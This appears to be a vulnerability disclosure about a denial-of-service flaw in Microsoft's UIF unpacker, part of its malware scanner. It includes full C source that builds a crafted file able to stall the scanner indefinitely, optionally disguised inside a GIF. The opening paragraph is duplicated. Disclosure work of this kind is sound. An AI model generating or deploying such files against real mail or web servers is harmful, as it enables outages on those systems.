The UIF (Universal Image Format) is a proprietary file format used by the old shareware utility MagicISO. Microsoft have a dedicated unpacker for UIF that runs as SYSTEM on all filesystem activity (!?!). The UIF format has an index structure at a fixed offset from the end of the file, with a pointer to contiguous block descriptions that describe how to reconstruct the output from data scattered throughout the file. I noticed that UIF has a "sparse" block type that just outputs chunks of nuls. Microsoft write them out like this: while (write(TempFile, Buffer, SectorSize) == SectorSize) BytesWritten += SectorSize; All of these parameters are read from the file, so you can make it spin creating this sparse data for as long as you want. This means you can make a file that takes as long as you want to scan, wasting as many cores as you want and you have to reboot to fix it. A testcase and the C code I used to generate it is attached. I called it .gif, but I don't think file extension is...
The UIF (Universal Image Format) is a proprietary file format used by the old shareware utility MagicISO. Microsoft have a dedicated unpacker for UIF that runs as SYSTEM on all filesystem activity (!?!). The UIF format has an index structure at a fixed offset from the end of the file, with a pointer to contiguous block descriptions that describe how to reconstruct the output from data scattered throughout the file. I noticed that UIF has a "sparse" block type that just outputs chunks of nuls. Microsoft write them out like this: while (write(TempFile, Buffer, SectorSize) == SectorSize) BytesWritten += SectorSize; All of these parameters are read from the file, so you can make it spin creating this sparse data for as long as you want. This means you can make a file that takes as long as you want to scan, wasting as many cores as you want and you have to reboot to fix it. A testcase and the C code I used to generate it is attached. I called it .gif, but I don't think file extension is relevant to this attack. I'm filing this with low priority, but I suppose you could DoS an ForeFront, IIS, or Exchange server with it quite effectively, I don't know. ``` // Compile: // $ gcc -o uifspin uifspin.c -lz // // Usage: // $ ./uifspin > testcase.txt // // (Or, you can provide a template file, and it will append a testcase to it) // // $ ./uifspin template.gif > testcase.gif // $ file testcase.gif // testcase.gif: GIF image data, version 89a, 400 x 300 // ``` `uifspin.c` ``` #include <stdio.h> #include <stdint.h> #include <limits.h> #include <zlib.h> #include <err.h> #include <stdbool.h> #include <stdlib.h> #pragma pack(1) // The UIF (Universal Image Format) is a proprietary file format used by the // old shareware utility MagicISO. Microsoft have a dedicated unpacker for UIF // that runs as SYSTEM on all filesystem activity (!?!). // // The UIF format has an index structure at a fixed offset from the end of the // file, with a pointer to contiguous block descriptions that describe how to // reconstruct the output from data scattered throughout the file. // // I noticed that UIF has a "sparse" block type that just outputs chunks of nuls. // Microsoft write them out like this: // // while (write(TempFile, Buffer, SectorSize) == SectorSize) // BytesWritten += SectorSize; // // All of these parameters are read from the file, so you can make it spin // creating this sparse data for as long as you want. This means you can // make a file that takes as long as you want to scan, wasting as many cores as // you want and you have to reboot to fix it. // // Compile: // $ gcc -o uifspin uifspin.c -lz // // Usage: // $ ./uifspin > testcase.txt // // (Or, you can provide a template file, and it will append a testcase to it) // // $ ./uifspin template.gif > testcase.gif // $ file testcase.gif // testcase.gif: GIF image data, version 89a, 400 x 300 // // Tavis Ormandy <taviso@google.com>, May 2017 #define NUM_SPARSE_BLOCKS (1<<17) // Each block takes a few minutes to process. #define MAX_COMPRESSED_SIZE 32768 // How much the compressed block data headers will need. // Set the maximum sparse file size, in versions before 1.1.13701.0 the limit // was INT_MAX. After 1.1.13701.0, the limit was changed to 0x1000000, but that // still takes a long time to process. //#define MAX_TEMPFILE_SIZE INT_MAX #define MAX_TEMPFILE_SIZE 0x1000000 struct bbishdr { uint32_t magic; uint32_t size; uint16_t ver; uint16_t imagetype; uint32_t field_C; uint32_t sectors; uint32_t sectorsize; uint32_t lastdiff; uint64_t blhr; uint32_t blhrbbissz; uint8_t hash[16]; uint32_t key[2]; }; struct blhrhdr { uint32_t magic; uint32_t size; uint32_t compressed; uint32_t numblocks; }; struct blockdata { uint64_t offset; uint32_t zsize; uint32_t sector; uint32_t size; uint32_t type; }; static uint8_t zblockbuf[MAX_COMPRESSED_SIZE]; static struct blockdata blkdata[NUM_SPARSE_BLOCKS]; int main(int argc, char **argv) { struct bbishdr bbishdr = {0}; struct blhrhdr blhrhdr = {0}; z_stream zstream = {0}; FILE *template; int i; if (deflateInit2(&zstream, Z_BEST_COMPRESSION, Z_DEFLATED, 15, MAX_MEM_LEVEL, Z_DEFAULT_STRATEGY) != Z_OK) { err(EXIT_FAILURE, "failed to initialize zlib library"); } for (i = 0; i < NUM_SPARSE_BLOCKS; i++) { blkdata[i].offset = 0; blkdata[i].sector = 0; // vfo_seek(TempFile, bbishdr.sectorsize * blkdata.sector) blkdata[i].size = MAX_TEMPFILE_SIZE; // vfo_write() will create this size file. blkdata[i].type = 3; // Sparse chunk. } zstream.avail_in = sizeof(blkdata); zstream.next_in = (void *) &blkdata; zstream.avail_out = sizeof(zblockbuf); zstream.next_out = zblockbuf; if (deflate(&zstream, Z_FINISH) != Z_STREAM_END) { err(EXIT_FAILURE, "deflate() failed to create compressed payload, %s", zstream.msg); } if (deflateEnd(&zstream) != Z_OK) { err(EXIT_FAILURE, "deflateEnd() returned failure, %s", zstream.msg); } blhrhdr.magic = ntohl('blhr'); blhrhdr.size = zstream.total_out; blhrhdr.numblocks = NUM_SPARSE_BLOCKS; bbishdr.magic = ntohl('bbis'); bbishdr.sectors = 1; // If blkdata[i].sector exceeds this, then fail. bbishdr.sectorsize = 1; // This changes the size of each write(), smaller is slower. bbishdr.blhr = 0; // File byte offset of blhr // Optionally prepend a template file, e.g an image or document. if (argv[1]) { if ((template = fopen(argv[1], "r")) == NULL) { err(EXIT_FAILURE, "failed to open template file %s", argv[1]); } while ((i = fgetc(template)) != EOF) { bbishdr.blhr++; fputc(i, stdout); } fclose(template); } fwrite(&blhrhdr, sizeof blhrhdr, 1, stdout); fwrite(&zblockbuf, zstream.total_out, 1, stdout); fwrite(&bbishdr, sizeof bbishdr, 1, stdout); return 0; } ``` `exploit.gif ` 